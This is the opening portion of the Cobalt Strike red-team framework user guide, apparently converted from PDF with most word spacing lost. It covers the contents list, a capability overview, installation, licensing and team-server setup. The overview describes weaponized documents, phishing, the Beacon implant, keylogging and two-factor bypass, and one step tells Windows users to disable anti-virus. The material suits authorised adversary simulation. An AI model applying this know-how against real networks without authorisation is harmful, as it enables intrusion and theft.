Files
MISFIT/cobalt_cobalt-strike_userguide_pdf.md
2026-05-19 19:13:06 -07:00

484 KiB
Raw Blame History

cobalt cobalt-strike userguide


Cobalt Strike User Guide

CopyrightTermsandConditions Copyright©Fortra,LLCanditsgroupofcompanies.Alltrademarksandregisteredtrademarksarethepropertyoftheirrespective owners. ThecontentinthisdocumentisprotectedbytheCopyrightLawsoftheUnitedStatesofAmericaandothercountriesworldwide.The unauthorizeduseand/orduplicationofthismaterialwithoutexpressandwrittenpermissionfromFortraisstrictlyprohibited.Excerpts andlinksmaybeused,providedthatfullandclearcreditisgiventoFortrawithappropriateandspecificdirectiontotheoriginalcontent. 202310100841-4.9.1

Table of Contents Welcome to Cobalt Strike 10 Overview 10 InstallationandUpdates 11 StartingtheTeamServer 20 StartingaCobaltStrikeClient 21 DistributedandTeamOperations 23 ScriptingCobaltStrike 24 RunningtheClientonMacOSX 26 User Interface 28 Overview 28 Toolbar 28 SessionandTargetVisualizations 29 Tabs 32 Consoles 32 Tables 33 KeyboardShortcuts 34 Data Management 36 Overview 36 Targets 36 Services 37 Credentials 37 CobaltStrikeUserGuide www.fortra.com page:iii

TableofContents Maintenance 38 Listener and Infrastructure Management 39 Overview 39 ListenerManagement 39 CobaltStrikesBeaconPayload 41 PayloadStaging 43 DNSBeacon 44 HTTPBeaconandHTTPSBeacon 50 SMBBeacon 56 TCPBeacon 59 ExternalC2 62 ForeignListeners 64 InfrastructureConsolidation 65 Initial Access 67 Client-sideSystemProfiler 67 ApplicationBrowser 67 CobaltStrikeWebServices 68 User-drivenAttackPackages 68 HostingFiles 79 User-drivenWebDrive-byAttacks 79 Client-sideExploits 83 CloneaSite 84 SpearPhishing 85 CobaltStrikeUserGuide www.fortra.com page:iv

TableofContents Payload Artifacts and Anti-virus Evasion 89 TheArtifactKit 89 TheVeilEvasionFramework 91 JavaAppletAttacks 91 TheResourceKit 92 TheSleepMaskKit 92 Post Exploitation 93 BeaconCovertC2Payload 93 TheBeaconConsole 93 TheBeaconMenu 94 AsynchronousandInteractiveOperations 94 RunningCommands 95 SessionPassing 96 AlternateParentProcesses 97 SpoofProcessArguments 97 BlockingDLLsinChildProcesses 97 UploadandDownloadFiles 98 FileBrowser 98 TheWindowsRegistry 99 KeystrokesandScreenshots 100 ControllingBeaconJobs 100 TheProcessBrowser 101 DesktopControl 102 CobaltStrikeUserGuide www.fortra.com page:v

TableofContents PrivilegeEscalation 103 Mimikatz 107 CredentialandHashHarvesting 107 PortScanning 108 NetworkandHostEnumeration 108 TrustRelationships 109 LateralMovement 111 LateralMovementGUI 112 BeaconDataStore 113 OtherCommands 114 Browser Pivoting 115 Overview 115 Setup 116 Use 117 HowBrowserPivotingWorks 118 Pivoting 119 WhatisPivoting 119 SOCKSProxy 119 ReversePortForward 120 SpawnandTunnel 121 PivotListeners 122 CovertVPN 123 SSH Sessions 126 CobaltStrikeUserGuide www.fortra.com page:vi

TableofContents TheSSHClient 126 RunningCommands 126 UploadandDownloadFiles 127 Peer-to-peerC2 127 SOCKSPivotingandReversePortForwards 128 Malleable Command and Control 129 Overview 129 CheckingforErrors 129 ProfileLanguage 130 HTTPStaging 138 ABeaconHTTPTransactionWalk-through 139 HTTPHostProfiles 140 HTTPServerConfiguration 143 Self-signedSSLCertificateswithSSLBeacon 144 ValidSSLCertificateswithSSLBeacon 145 ProfileVariants 146 HTTPBeacons 146 CodeSigningCertificate 147 DNSBeacons 148 ExercisingCautionwithMalleableC2 150 Malleable PE, Process Injection, and Post Exploitation 151 Overview 151 PEandMemoryIndicators 151 CobaltStrikeUserGuide www.fortra.com page:vii

TableofContents ProcessInjection 155 ControllingProcessInjection 157 ControllingPostExploitation 160 Post-exUserDefinedReflectiveDLLLoader 163 UserDefinedReflectiveDLL Loader 164 Beacon Object Files 171 WhataretheadvantagesofBOFs? 171 HowdoBOFswork? 171 WhatarethedisadvantagesofBOFs? 171 HowdoIdevelopaBOF? 172 DynamicFunctionResolution 173 AggressorScriptandBOFs 174 BOFCAPI 175 FormattingBOFOutput 180 Aggressor Script 186 WhatisAggressorScript? 186 HowtoLoadScripts 186 TheScriptConsole 187 HeadlessCobaltStrike 188 AQuickSleepIntroduction 188 InteractingwiththeUser 190 CobaltStrike 191 DataModel 195 CobaltStrikeUserGuide www.fortra.com page:viii

TableofContents Listeners 196 Beacon 199 SSHSessions 208 OtherTopics 210 Callbacks 213 CustomReports 216 CompatibilityGuide 218 Hooks 220 Events 239 Functions 255 PopupHooks 445 Report-OnlyFunctions 446 Reporting and Logging 458 Logging 458 Reports 458 CustomLogoinReports 463 CustomReports 464 Appendix 466 KeyboardShortcuts 466 BeaconCommandBehaviorandOPSECConsiderations 467 UnicodeSupport 473 CobaltStrikeUserGuide www.fortra.com page:ix

WelcometoCobaltStrike/Overview Welcome to Cobalt Strike CobaltStrikeisaplatformforadversarysimulationsandredteamoperations.Theproductis designedtoexecutetargetedattacksandemulatethepost-exploitationactionsofadvanced threatactors.ThissectiondescribestheattackprocesssupportedbyCobaltStrikesfeatureset. Therestofthismanualdiscussesthesefeaturesindetail. Overview figure1-TheOffenseProblemSet Athought-outtargetedattackbeginswithreconnaissance.CobaltStrikessystemprofilerisa webapplicationthatmapsyourtargetsclient-sideattacksurface.Theinsightsgleanedfrom reconnaissancewillhelpyouunderstandwhichoptionshavethebestchanceofsuccesson yourtarget. Weaponizationispairingapost-exploitationpayloadwithadocumentorexploitthatwill executeitontarget.CobaltStrikehasoptionstoturncommondocumentsintoweaponized artifacts.CobaltStrikealsohasoptionstoexportitspost-exploitationpayload,Beacon,ina varietyofformatsforpairingwithartifactsoutsideofthistoolset. UseCobaltStrikesspearphishingtooltodeliveryourweaponizeddocumenttooneormore peopleinyourtargetsnetwork.CobaltStrikesphishingtoolrepurposessavedemailsintopixel- perfectphishes. CobaltStrikeUserGuide www.fortra.com page:10

WelcometoCobaltStrike/InstallationandUpdates ControlyourtargetsnetworkwithCobaltStrikesBeacon.Thispost-exploitationpayloaduses anasynchronous“low and slow”communicationpatternthatscommonwithadvancedthreat malware.BeaconwillphonehomeoverDNS,HTTP,orHTTPS.Beaconwalksthroughcommon proxyconfigurationsandcallshometomultiplehoststoresistblocking. ExerciseyourtargetsattackattributionandanalysiscapabilitywithBeaconsMalleable CommandandControllanguage.ReprogramBeacontouse network indicators that look like known malwareorblendinwithexistingtraffic. Pivotintothecompromisednetwork,discoverhosts,andmove laterallywithBeaconshelpful automationandpeer-to-peercommunicationovernamedpipesandTCPsockets.CobaltStrike isoptimizedtocapturetrustrelationshipsandenablelateralmovementwithcaptured credentials,passwordhashes,accesstokens,andKerberostickets. DemonstratemeaningfulbusinessriskwithCobaltStrikesuser-exploitationtools.Cobalt Strikesworkflowsmakeiteasytodeploykeystrokeloggersandscreenshotcapturetoolson compromisedsystems.Usebrowserpivotingtogainaccesstowebsitesthatyour compromisedtargetisloggedontowithInternetExplorer.ThisCobaltStrike-onlytechnique workswithmostsitesandbypassestwo-factorauthentication. CobaltStrikesreportingfeaturesreconstruct the engagementforyourclient.Providethe networkadministratorsanactivitytimelinesotheymayfindattackindicatorsintheirsensors. CobaltStrikegenerateshighqualityreportsthatyoumaypresenttoyourclientsasstand-alone productsoruseasappendicestoyourwrittennarrative. Throughouteachoftheabovesteps,youwillneedtounderstandthetargetenvironment,its defenses,andreasonaboutthebestwaytomeetyourobjectiveswithwhatisavailabletoyou. Thisisevasion.ItisnotCobaltStrikesgoaltoprovideevasionout-of-the-box.Instead,the productprovidesflexibility,bothinitspotentialconfigurationsandoptionstoexecuteoffense actions,toallowyoutoadapttheproducttoyourcircumstanceandobjectives. Installation and Updates FortraLLCdistributesCobaltStrikepackagesasnativearchivesforWindows,Linux,and MacOSX. CobaltStrikeusesaclient/servermodelwhereeachcomponentcanbeinstalledonthesame system,butisoftendeployedseparately.TheCobaltStrikeGUIisreferredtoasCobaltStrike, theCobaltStrikeGUI,orthecommandusedtostarttheclientcobaltstrike.TheCobaltStrike serverisreferredtoasTeamServerorthecommandusedtostarttheserverteamserver. ThebasicprocesstoinstallCobaltStrikeinvolvesdownloadingandextractingadistribution packageontoyouroperatingsystemandrunninganupdateprocesstodownloadtheproduct. CobaltStrikeUserGuide www.fortra.com page:11

WelcometoCobaltStrike/InstallationandUpdates Before You Begin ReadthissectionbeforeyouinstallCobaltStrike. System Requirements ThefollowingitemsarerequiredforanysystemhostingtheCobaltStrikeclientand/orserver components. Java CobaltStrike'sGUIclientandteamserverrequireoneofthefollowingJavaenvironments: l OracleJava1.8 l OracleJava11 l OpenJDK11.(seeInstalling OpenJDK on page 13forinstructions) NOTE: IfyourorganizationdoesnothavealicensethatallowscommercialuseofOracle'sJava, weencourageyoutouseOpenJDK11. SupportedOperatingSystems CobaltStrikeTeamServerissupportedonaLinuxsystemthatmeetstheJavarequirements andhasbeentestedonthefollowingDebianbasedLinuxdistributions(otherversionsmaywork buthavenotbeentested): l Debian l Ubuntu l KaliLinux CobaltStrikeClientrunsonthefollowingsystems: l Windows7andabove l MacOSX10.13andabove l GUIbasedLinux,suchas:Debian,UbuntuandKaliLinux(otherversionsmayworkbut havenotbeentested) Hardware CobaltStrikeUserGuide www.fortra.com page:12

WelcometoCobaltStrike/InstallationandUpdates Inadditiontoanacceptedoperatingsystem,thebelowminimumrequirementsshouldbemet: l 2GHz+processor l 2GBRAM l 500MB+availablediskspace OnAmazon'sEC2,useatleastaHigh-CPUMedium(c1.medium,1.7GB)instance. Linuxglibc BeawarethatcertainLinuxdistributionsmaybemissingordon'thavethecorrectversionof glibc.Ifyourunintothatissue,reviewtheKnowledgeArticle,glibcMissingFromOlderLinux Distributions,ontheFortraPortal. Installing OpenJDK CobaltStrikeistestedwithOpenJDK11anditslaunchersarecompatiblewithaproperly installedOpenJDK11environment. Linux(Kali2018.4,Ubuntu18.04)

  1. UpdateAPT: sudo apt-get update
  2. InstallOpenJDK11withAPT: sudo apt-get install openjdk-11-jdk
  3. MakeOpenJDK11thedefault: sudo update-java-alternatives -s java-1.11.0-openjdk-amd64 Linux(Other)
  4. UninstallthecurrentOpenJDKpackage(s).
  5. DownloadOpenJDKforLinux/x64at:https://jdk.java.net/archive/.
  6. ExtracttheOpenJDKbinary: tar zxvf openjdk-11.0.1_linux-x64_bin.tar.gz
  7. MovetheOpenJDKfolderto/usr/local: mv jdk-11.0.1 /usr/local
  8. Addthefollowingto~/.bashrc: JAVA_HOME="/usr/local/jdk-11.0.1" CobaltStrikeUserGuide www.fortra.com page:13

WelcometoCobaltStrike/InstallationandUpdates PATH=$PATH:$JAVA_HOME/bin 6. Refreshyour~/.bashrc tomakethenewenvironmentvariablestakeeffect: source ~/.bashrc MacOSX

  1. DownloadOpenJDKformacOS/x64at:https://jdk.java.net/archive/.
  2. OpenaTerminalandnavigatetotheDownloads/ folder.
  3. Extractthearchive: tar zxvf openjdk-11.0.1_osx-x64_bin.tar.gz
  4. Movetheextractedarchiveto/Library/Java/JavaVirtualMachines/: sudo mv jdk-11.0.1.jdk/ /Library/Java/JavaVirtualMachines/ ThejavacommandonMacOSXwillusethehighestJavaversionin/Library/Javaasthe default. TIP: IfyouareseeingaJRELoadError messagethisisbecausetheJavaAppLauncherstub includedwithCobaltStrikeloadsalibraryfromasetpathtoruntheJVMwithinthestub process.Issuethefollowingcommandtofixthiserror: sudo ln -fs /Library/Java/JavaVirtualMachines/jdk-11.0.2.jdk /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin Replacejdk-11.0.2.jdkwithyourJavapath.ThenextCobaltStrikereleasewilluseaJava ApplicationStubforMacOSXthatismoreflexible. Windows
  5. DownloadOpenJDKforWindows/x64at:https://jdk.java.net/archive/.
  6. Extractthearchivetoc:\program files\jdk-11.0.1.
  7. Addc:\program files\jdk-11.0.\bin toyouruser'sPATHenvironmentvariable: a. GotoControl Panel-> System-> Change Settings-> Advanced-> Environment Variables.... b. HighlightPathinUser variables for user. c. PressEdit. d. PressNew. e. Type:c:\program files\jdk-11.0.1\bin. f. PressOKonalldialogs. Wayland Desktop - Not Supported CobaltStrikeUserGuide www.fortra.com page:14

WelcometoCobaltStrike/InstallationandUpdates WaylandisamodernreplacementfortheXWindowsSystem.Waylandhasmadegreatstrides, asaproject,andsomedesktopenvironmentsuseitastheirdefaultwindowsystem.Don'tlet theadoptionfoolyouthough.Notallapplicationsorapplicationenvironmentswork100% perfectlyonWayland.Therearestillbugsandissuestoaddress. TherearebugsinJava(orWayland)thatmaycauseagraphicalJavaapplicationtocrash, duringnormaluse,whenruninaWaylanddesktop.ThesebugsaffectCobaltStrikeusers. Fortra does not support the use of Cobalt Strike on Wayland desktops. Am IusingWayland? Typeecho $XDG_SESSION_TYPEtofindoutifyou'reonwaylandorx11. HowtodisableWaylandonKaliLinux ThelatestversionofKaliLinux2017RollingusesaWaylanddesktopbydefault.Tochangethis backtoX11:

  1. Open/etc/gdm3/daemon.confwithyourfavoritetexteditor.
  2. Findthe[daemon]section.
  3. AddWaylandEnable=falseandrebootyoursystem. Installing Cobalt Strike FollowtheseinstructionstoinstallCobaltStrike. NOTE: TheCobaltStrikeDistribution Package(steps1and3)containstheOS-specificCobalt Strikelauncher(s),supportingfiles,andtheupdaterprogram.ItdoesnotcontaintheCobalt Strikeprogramitself.RunningtheUpdate Program(step4)downloadstheCobaltStrike productandperformsthefinalinstallationsteps.
  4. DownloadaCobaltStrikedistributionpackageforasupportedoperatingsystem.(an emailisprovidedwithalinktothedownload)
  5. SetuparecommendedJavaenvironment.(seeInstalling OpenJDK on page 13for instructions) CobaltStrikeUserGuide www.fortra.com page:15

WelcometoCobaltStrike/InstallationandUpdates 3. Extract,mountorunzipthedistributionpackage.Basedontheoperatingsystem perform oneofthefollowing. a. ForLinux: i. Extractthecobaltstrike-dist.tgz: tar zxvf cobaltstrike-dist.tgz b. ForMacOSX: i. Double-clickthecobaltstrike-dist.dmg filetomountit. ii. DragtheCobalt StrikefoldertotheApplicationsfolder. c. ForWindows: i. Disableanti-virusbeforeyouinstallCobaltStrike. ii. Useyourpreferredziptooltoextractthecobaltstike.zip filetoaninstall location. 4. Runtheupdateprogram tofinishtheinstall.Basedontheoperatingsystem perform oneofthefollowing. a. ForLinux: i. Enterthefollowingcommands: cd /path/to/cobaltstrike ./update b. ForMacOSX: i. NavigatetotheCobalt Strikefolder. ii. Double-clickUpdate Cobalt Strike.command. c. ForWindows: i. NavigatetotheCobalt Strikefolder. ii. Double-clickupdate.bat. Makesureyouupdatebothyourteamserverandclientsoftwarewithyourlicensekey.Cobalt Strikeisgenerallylicensedonaperuserbasis.Theteamserverdoesnotrequireaseparate license. License Authorization Files ThelicensedversionofCobaltStrikerequiresavalidauthorizationfiletostart.Anauthorization fileisanencryptedblobthatprovidesinformationaboutyourlicensetotheCobaltStrike product. CobaltStrikeUserGuide www.fortra.com page:16

WelcometoCobaltStrike/InstallationandUpdates Authorizationfilesarenowassociatedtoaspecificrelease.Authorizationfilesfor4.8andearlier willcontinuetobebackwardcompatible.Authorizationfilesfor4.9andlaterwillonlybevalidfor thespecificversion. How doI get an authorization file? Thebuilt-inupdateprogramrequestsanauthorizationfilefromCobaltStrike'supdateserver whenit'srun.Theupdateprogramdownloadsanewauthorizationfileforthecurrentreleased version,evenifyourCobaltStrikeversionisuptodate.Thisallowstheauthorizationfiletostay currentwiththelicensedatesinFortrarecords. InordertogetanauthorizationfileforapreviousversionusetheCobaltStrikeAuthFile Generatorsite.Thissitewillgenerateanauthorizationfilefortheversionandlicensekeyyou enteronthepage.Usethedownloadlinktoretrievetheauthorizationfileorusetheinstructions onthepagetoconvertthebase64encodedstringtoanauthorizationfile.Thencopythe authorizationfiletoyourCobaltStrikeinstallationdirectory. What happenswhen my licenseexpires? CobaltStrikewillrefusetostartwhenitsauthorizationfileexpires.Additionally,thelicensed CobaltStrikeproductchecksauthorizationfilesdaily.Iftheauthorizationfileexpireswhile CobaltStrikeisrunning,theteamserverkeepsrunningforanadditional14daysgraceperiod. Theteamserverwillshutdowniftheauthorizationfileisnotreplacedduringthatperiod. Details: l Teamserverchecksthelicenseatstartupandat10AMeveryday. l Theteamserverlicenseexpirationisloggedintheeventlogwhentheteam serverstarts. l Clientsconnectedtoateamserverwilldisplayalicensewarningribbonstarting45days priortolicenseexpiration. l Runningteamserverswillhavea14daygraceperiodbeforetheserverisshutdown duringthedailylicensecheck. l Ifyouneedtoextendthelicenseforarunningteamserver,youcaninstall/update CobaltStrikeinadifferentlocationandcopy/replacethe“cobaltstrike.auth”filefrom the newinstallintotherunninginstance.Iftheteamserverversionispriortothecurrent releasedversionthenusetheCobaltStrikeAuthFileGeneratorsiteinstead. When doesmy authorization fileexpire? YourauthorizationfileexpireswhenyourCobaltStrikelicenseexpires.IfyourenewyourCobalt Strikelicense,runthebuilt-inupdateprogramtorefreshtheauthorizationfileforthecurrent CobaltStrikeUserGuide www.fortra.com page:17

WelcometoCobaltStrike/InstallationandUpdates releasedversionwiththelatestinformation.ForpreviousversionsusetheCobaltStrikeAuth FileGeneratorsitetorefreshtheauthorizationfilewiththelatestinformation. GotoHelp->System Informationtofindoutwhenyourauthorizationfileexpires.Lookforthe "validto"valueundertheOthersection.Remember,theClientInformationandTeamServer Informationmayhavedifferentvalues(dependingonwhichlicensekeywasusedandwhenthe authorizationfilewaslastrefreshed). CobaltStrikewillalsowarnyouwhenitsauthorizationfileiswithin45daysofitsvalidtodate. How doI bring an authorization fileintoa closed environment? Theauthorizationfileiscobaltstrike.auth.Theupdateprogramalwaysco-locatesthisfilewith cobaltstrike.jar.TouseCobaltStrikeinaclosedenvironment:

  1. DownloadtheCobaltStrikepackageathttps://www.cobaltstrike.com/download
  2. UpdatetheCobaltStrikepackagefrom aninternetconnectedsystem
  3. Copythecontentsoftheupdatedcobaltstrike/folderintoyourenvironment.Themost importantfilesarecobaltstrike.jarandcobaltstrike.auth. DoesCobalt StrikephonehometoFortra? Beyondtheupdateprocess,CobaltStrikedoesnot"phonehome"toFortra.Theauthorization fileisgeneratedbytheupdateprocess. How doI usean older version ofCobalt Strikewith a refreshed authorization file? InordertogetanauthorizationfileforapreviousversionusetheCobaltStrikeAuthFile Generatorsite.Thissitewillgenerateanauthorizationfilefortheversionandlicensekeyyou enteronthepage.Usethedownloadlinktoretrievetheauthorizationfileorusetheinstructions onthepagetoconvertthebase64encodedstringtoanauthorizationfile.Thencopythe authorizationfiletoyourCobaltStrikeinstallationdirectory. WhatistheCustomerIDvalue? TheCustomerIDisa4-bytenumberassociatedwithaCobaltStrikelicensekey.CobaltStrike 3.9andlaterembedthisinformationintothepayloadstagersandstagesgeneratedbyCobalt Strike. How doI find theCustomer ID valuein a Cobalt Strikeartifact? CobaltStrikeUserGuide www.fortra.com page:18

WelcometoCobaltStrike/InstallationandUpdates TheCustomerIDvalueisthelast4-bytesofaCobaltStrikepayloadstagerinCobaltStrike3.9 andlater. ThisscreenshotistheHTTPstagerfromthetrial.ThetrialhasaCustomerIDvalueof0.The last4-bytesofthisstager(0x0,0x0,0x0,0x0)reflectthis. figure2-HTTPPayloadStager(CobaltStrikeTrial) TheCustomerIDvaluealsoexistsinthepayloadstage,butit'smorestepstorecover.Cobalt StrikedoesnotusetheCustomerIDvalueinitsnetworktrafficorotherpartsofthetool. How doI protect disparatered team infrastructurefrom cross-identification with thisID? Ifyouhaveauniqueauthorizationfileoneachteamserver,theneachteamserverandthe artifactsthatoriginatefromitwillhaveadifferentID. CobaltStrike'supdateservergeneratesanewauthorizationfileeachtimetheupdateprogram isrun.EachauthorizationfilehasauniqueID.CobaltStrikeonlypropagatestheteamserver's ID.ItdoesnotpropagatetheIDfromtheGUIorheadlessclient'sauthorizationfile. After You are Done Congratulations!CobaltStrikeisnowinstalled.Readthefollowingforadditionalinformationand yournextsteps. Next Steps Starting the Team Server on page 20 Starting a Cobalt Strike Client on page 21 CobaltStrikeUserGuide www.fortra.com page:19

WelcometoCobaltStrike/StartingtheTeamServer Starting the Team Server CobaltStrikeissplitintoclientandaservercomponents.Theserver,referredtoastheteam server,isthecontrollerfortheBeaconpayloadandthehostforCobaltStrikessocial engineeringfeatures.TheteamserveralsostoresdatacollectedbyCobaltStrikeandit manageslogging. TheCobaltStriketeamservermustrunonasupportedLinuxsystem.TostartaCobaltStrike teamserver,issuethefollowingcommandtoruntheteamserverscriptincludedwiththe CobaltStrikeLinuxpackage: figure3-StartingtheTeamServer ./teamserver <ip_address> [ <kill_ date>] Theteamserverscriptusesthefollowingtwomandatoryandtwooptionalparameters: IP Address-(mandatory)EntertheexternallyreachableIPaddressoftheteamserver.Cobalt Strikeusesthisvalueasadefaulthostforitsfeatures. Password-(mandatory)Enterapasswordthatyourteammemberswillusetoconnectthe CobaltStrikeclienttotheteamserver. Malleable C2 Profile-(optional)SpecifyavalidMalleableC2Profile.SeeMalleable Command and Control on page 129formoreinformationonthisfeature. Kill Date-(optional)EnteradatevalueinYYYY-MM-DDformat.Theteamserverwillembedthis killdateintoeachBeaconstageitgenerates.TheBeaconpayloadwillrefusetorunonor afterthisdateandwillalsoexitifitwakesuponorafterthisdate. Whentheteamserverstarts,itwillpublishtheSHA256hashoftheteamserversSSL certificate.Distributethishashtoyourteammembers.Whenyourteammembersconnect, theirCobaltStrikeclientwillaskiftheyrecognizethishashbeforeitauthenticatestotheteam server.Thisisanimportantprotectionagainstman-in-the-middleattacks. Team Server Properties File CobaltStrikeUserGuide www.fortra.com page:20

WelcometoCobaltStrike/StartingaCobaltStrikeClient TeamServer.propisanoptionalfilecontaininganumberofparametersthatcanbeusedto customizesettings.Thisfileisnotincludedinthedistributionasthedefaultsarethe recommendedsettings.Ifthereisaneedtomodifythesettings,downloadthedefault TeamServer.propfilefromhttps://github.com/Cobalt-Strike/teamserver-proprepositoryinto theCobaltStrikeinstallationdirectory.Makeanymodificationsandrestarttheteamserver. ForadditionalinformationonasettingseetheREADME.mdintherepositoryandcommentsin theTeamServer.propfile. Starting a Cobalt Strike Client FollowthestepsbelowtoconnecttheCobaltStrikeclienttotheteamserver. Steps

  1. TostarttheCobaltStrikeclient,usethelauncherincludedwithyourplatformspackage. a. ForLinux: i. Enterthefollowingcommands: ./cobaltstrike b. ForMacOSX: i. NavigatetotheCobalt Strikefolder. ii. Double-clickcobaltstrike. c. ForWindows: i. NavigatetotheCobalt Strikefolder. ii. Double-clickcobaltstrike.exe. TheConnectDialogscreendisplays. CobaltStrikeUserGuide www.fortra.com page:21

WelcometoCobaltStrike/StartingaCobaltStrikeClient figure 4 - CobaltStrikeConnectDialog 2. CobaltStrikekeepstrackoftheteam serversyouconnecttoandremembersyour information.Selectoneoftheseteam serverprofilesfrom theleft-hand-sideofthe connectdialogtopopulatetheconnectdialogwithitsinformation.UsetheAlias Names andHost Namesbuttonstotogglehowthelistofhostsaredisplayed.Active connectionswillbedisplayedinbluetext.Youmaycontrolhowthehostlistisinitially displayed,activeconnectiontextcolor,andprunethelistthroughCobalt Strike -> Preferences ->Team Servers. Parameters: Alias- Enteranaliasforthehostorusethedefault.Thealiasnamecannotbeempty, startwithan'*',orusethesamealiasnameofanactiveconnection. Host- Specifyyourteam serversaddressintheHostfield.Thehostnamecannotbe empty. Port- DisplaysthedefaultPortfortheteam server(50050).Thisisrarelychange.The portcannotbeemptyandmustbeanumericnumber. User- TheUserfieldisyournicknameontheteam server.Changethistoyourcallsign, handle,ormade-uphackerfantasyname.Theusernamecannotbeempty. Password- Enterthesharedpasswordfortheteam server. 3. PressConnecttoconnecttotheCobaltStriketeam server. Ifthisisyourfirstconnectiontothisteam server,CobaltStrikewillaskifyourecognize theSHA256hashofthisteam server. figure 5 - VerifyingtheserversSSLcertificate 4. Ifyoudo,pressYes,andtheCobaltStrikeclientwillconnecttotheserverandopenthe clientuserinterface. CobaltStrikeUserGuide www.fortra.com page:22

WelcometoCobaltStrike/DistributedandTeamOperations NOTE: CobaltStrikewillalsorememberthisSHA256hashforfutureconnections.Youmay managethesehashesthroughCobalt Strike -> Preferences -> Fingerprints. Distributed and Team Operations UseCobaltStriketocoordinateadistributedredteameffort.StageCobaltStrikeononeormore remotehosts.Startyourteamserversandhaveyourteamconnect. figure6-DistributedOperationswithCobaltStrike Onceconnectedtoateamserver,yourteamwill: l Usethesamesessions l Sharehosts,captureddata,anddownloadedfiles l Communicatethroughasharedeventlog. TheCobaltStrikeclientmayconnecttomultipleteamservers.GotoCobalt Strike ->New Connection toinitiateanewconnection.Whenconnectedtomultipleservers,aswitchbarwill showupatthebottomofyourCobaltStrikewindow. figure7-ServerSwitchbar CobaltStrikeUserGuide www.fortra.com page:23

WelcometoCobaltStrike/ScriptingCobaltStrike ThisswitchbarallowsyoutoswitchbetweenactiveCobaltStrikeserverinstances.Eachserver hasitsownbutton.Right-clickabuttonandselectRenametomakethebuttonstextreflectthe roleoftheserverduringyourengagement.Theserverbuttonwilldisplaytheactivebuttonin boldtextandcolorbasedoncolorpreferencefoundinCobalt Strike -> Preferences -> TeamServerstobetterindicatewhichbuttonisactive.Thisbuttonnamewillalsoidentifythe serverintheCobaltStrikeActivityReport. Whenconnectedtomultipleservers,CobaltStrikeaggregateslistenersfromalloftheservers itsconnectedto.Thisaggregationallowsyoutosendaphishingemailfromoneserverthat referencesamaliciouswebsitehostedonanotherserver.Attheendofyourengagement, CobaltStrikesreportingfeaturewillqueryalloftheserversyoureconnectedtoandmergethe datatotellonestory. Reconnecting the Client Whentheclientdisconnectionisuser-initiatedwiththeMenu,ToolbarorSwitchbarServer button,aredbannerdisplayswithaReconnectandClosebutton. PressClosetoclosethewindow.PressReconnecttoreconnecttotheTeamServer. IftheTeamServerisnotavailableadialogdisplaysaskingifyouwanttoretry(Yes/No).IfYes thenconnectionisattemptedagain(repeatsifneeded).IfNo,thedialogcloses. WhendisconnectionisinitiatedbytheTeamServerorothernetworkinterruptiontheredbanner willdisplayamessagewithacountdownforconnectionretry.Thiswillrepeatuntilaconnection ismadewiththeTeamServerortheuserclicksonClose.Inthiscasetheusercaninteractwith otherpartsoftheUI. Whentheclientreconnects,theredreconnectbardisappears. Scripting Cobalt Strike CobaltStrikeUserGuide www.fortra.com page:24

WelcometoCobaltStrike/ScriptingCobaltStrike CobaltStrikeisscriptablethroughitsAggressorScriptlanguage.AggressorScriptallowsyouto modifyandextendtheCobaltStrikeclient. History AggressorScriptisthespiritualsuccessortoCortana,theopensourcescriptingenginein Armitage.CortanawasmadepossiblebyacontractthroughDARPA'sCyberFastTrack program.CortanaallowsitsuserstoextendArmitageandcontroltheMetasploit® Framework anditsfeaturesthroughArmitage'steamserver.CobaltStrike3.0isaground-uprewriteof CobaltStrikewithoutArmitageasafoundation.Thischangeaffordedanopportunitytorevisit CobaltStrike'sscriptingandbuildsomethingaroundCobaltStrike'sfeatures.Theresultofthis workisAggressorScript. AggressorScriptisascriptinglanguageforredteamoperationsandadversarysimulations inspiredbyscriptableIRCclientsandbots.Itspurposeistwo-fold.Youmaycreatelongrunning botsthatsimulatevirtualredteammembers,hackingside-by-sidewithyou.Youmayalsouseit toextendandmodifytheCobaltStrikeclienttoyourneeds. Loading Scripts AggressorScriptisbuiltintotheCobaltStrikeclient.Tomanagescripts,gotoCobalt Strike -> Script ManagerandpressLoad. figure8-ScriptManager AdefaultscriptinsideofCobaltStrikedefinesallofCobaltStrikespopupmenusandformats informationdisplayedinCobaltStrikesconsoles.ThroughtheAggressorScriptengine,you mayoverridethesedefaultsandcustomizeCobaltStriketoyourpreferences. YoumayalsouseAggressorScripttoaddnewfeaturestoCobaltStrikesBeaconandto automatecertaintasks. TolearnmoreaboutAggressorScript,seeAggressor Script on page 186. CobaltStrikeUserGuide www.fortra.com page:25

WelcometoCobaltStrike/RunningtheClientonMacOSX Running the Client on Mac OS X TheCobaltStrikeclientmaynotbeabletoshowcontentsoftheDocuments,Desktop,and Downloadsfoldersinthefilebrowserinitially.(e.g.loadingscripts,uploadingfiles,generating payloads,etc…) Bydefault,OSXlimitswhataccessapplicationshavetotheDocuments,Desktop,andDownload folders.Theseapplicationsneedtoexplicitlybegrantedaccesstothesefolders. SinceCobaltStrikeisathirdpartyapplication,itisn'tasstraightforwardasgrantingtheapp "CobaltStrike"access.YoumayneedtogivetheJRErunningCobaltStrikeclientaccesstothe filesystem.YoucangiveaccesstothespecificFilesandFoldersorFullDiskAccess. Youmaybepromptedfortheaccess: figure9-MacOSXAccessPrompt Or,iftheaccesshasbeenpreviouslydenied,youmayneedtoedittheaccessintheOSXSystem Preferences/Security&Privacy/Privacydialog: CobaltStrikeUserGuide www.fortra.com page:26

WelcometoCobaltStrike/RunningtheClientonMacOSX figure10-OSXPrivacyDialog PleasebeadvisedthatotherapplicationsthatusetheJREwillalsohavethisaccess. NOTE: Thesamestepsmayalsoneedtobetakenfor'/bin/bash'. CobaltStrikeUserGuide www.fortra.com page:27

UserInterface/Overview User Interface Overview TheCobaltStrikeuserinterfaceissplitintotwoparts.Thetopoftheinterfaceshowsa visualizationofsessionsortargets.ThebottomoftheinterfacedisplaystabsforeachCobalt Strikefeatureorsessionyouinteractwith.Youmayclicktheareabetweenthesetwopartsand resizethemtoyourliking. figure11-CobaltStrikeUserInterface Toolbar ThetoolbaratthetopofCobaltStrikeoffersquickaccesstocommonCobaltStrikefunctions. KnowingthetoolbarbuttonswillspeedupyouruseofCobaltStrikeconsiderably. Connecttoanotherteamserver Disconnectfromthecurrentteamserver CreateandeditCobaltStrikeslisteners ShowSessionsinGraphView CobaltStrikeUserGuide www.fortra.com page:28

